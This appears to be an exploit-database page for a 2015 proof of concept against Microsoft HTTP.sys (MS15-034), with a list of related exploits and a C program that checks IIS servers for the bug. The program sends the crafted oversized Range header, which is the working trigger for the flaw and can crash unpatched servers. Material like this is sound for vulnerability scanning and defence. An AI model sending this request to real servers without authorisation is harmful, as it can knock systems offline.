Microsoft Windows HTTP.sys Proof Of Concept

🗓️ 16 Apr 2015 00:00:00Reported by rhcp011235Type

packetstorm🔗 packetstormsecurity.com👁 118 Views

Microsoft Windows HTTP.sys Buffer Overflow Proof of Concep

Reporter	Title	Published	Views	Family All 43
zdt	Microsoft Window - HTTP.sys PoC (MS15-034)	15 Apr 201500:00	–	zdt
zdt	Microsoft Window (HTTP.sys) HTTP Request Parsing DoS (MS15-034)	17 Apr 201500:00	–	zdt
zdt	MS15-034 Microsoft IIS Remote Code Execution Exploit	19 Apr 201500:00	–	zdt
GithubExploit	Exploit for Code Injection in Microsoft	20 Oct 202511:22	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	20 Jun 201814:28	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	15 Apr 201515:05	–	githubexploit
Gitee	Exploit for Code Injection in Microsoft	27 Nov 202010:59	–	gitee
Gitee	Exploit for Code Injection in Microsoft	25 Nov 202023:04	–	gitee
Gitee	Exploit for Code Injection in Microsoft	17 Nov 202009:07	–	gitee
ATTACKERKB	CVE-2015-1635	14 Apr 201500:00	–	attackerkb

`/*  
UNTESTED - MS15-034 Checker  
  
THE BUG:  
  
8a8b2112 56 push esi  
8a8b2113 6a00 push 0  
8a8b2115 2bc7 sub eax,edi  
8a8b2117 6a01 push 1  
8a8b2119 1bca sbb ecx,edx  
8a8b211b 51 push ecx  
8a8b211c 50 push eax  
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here  
  
ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4  
  
BY: [email protected]  
Twitter: @rhcp011235  
*/  
  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
#include <arpa/inet.h>   
  
int connect_to_server(char *ip)  
{  
int sockfd = 0, n = 0;  
  
struct sockaddr_in serv_addr;  
struct hostent *server;  
  
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)  
{  
printf("\n Error : Could not create socket \n");  
return 1;  
}  
  
memset(&serv_addr, '0', sizeof(serv_addr));  
serv_addr.sin_family = AF_INET;  
serv_addr.sin_port = htons(80);  
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)  
{  
printf("\n inet_pton error occured\n");  
return 1;  
}  
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)  
{  
printf("\n Error : Connect Failed \n");  
return 1;  
}   
  
return sockfd;  
}  
  
  
int main(int argc, char *argv[])  
{  
int n = 0;  
int sockfd;  
char recvBuff[1024];  
  
// Check server  
char request[] = "GET / HTTP/1.0\r\n\r\n";  
  
// our evil buffer  
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";  
  
  
if(argc != 2)  
{  
printf("\n Usage: %s <ip of server> \n",argv[0]);  
return 1;  
}   
  
printf("[*] Audit Started\n");  
sockfd = connect_to_server(argv[1]);  
write(sockfd, request, strlen(request));   
read(sockfd, recvBuff, sizeof(recvBuff)-1);  
  
if (!strstr(recvBuff,"Microsoft"))  
{  
printf("[*] NOT IIS\n");  
exit(1);  
}  
  
sockfd = connect_to_server(argv[1]);  
write(sockfd, request1, strlen(request1));  
read(sockfd, recvBuff, sizeof(recvBuff)-1);  
if (strstr(recvBuff,"Requested Range Not Satisfiable"))  
{  
printf("[!!] Looks VULN\n");  
exit(1);  
} else if(strstr(recvBuff,"The request has an invalid header name")) {  
printf("[*] Looks Patched");  
} else  
printf("[*] Unexpected response, cannot discern patch status");  
  
  
  
  
}  
  
`

16 Apr 2015 00:00Current

9.5High risk

Vulners AI Score9.5

EPSS0.99999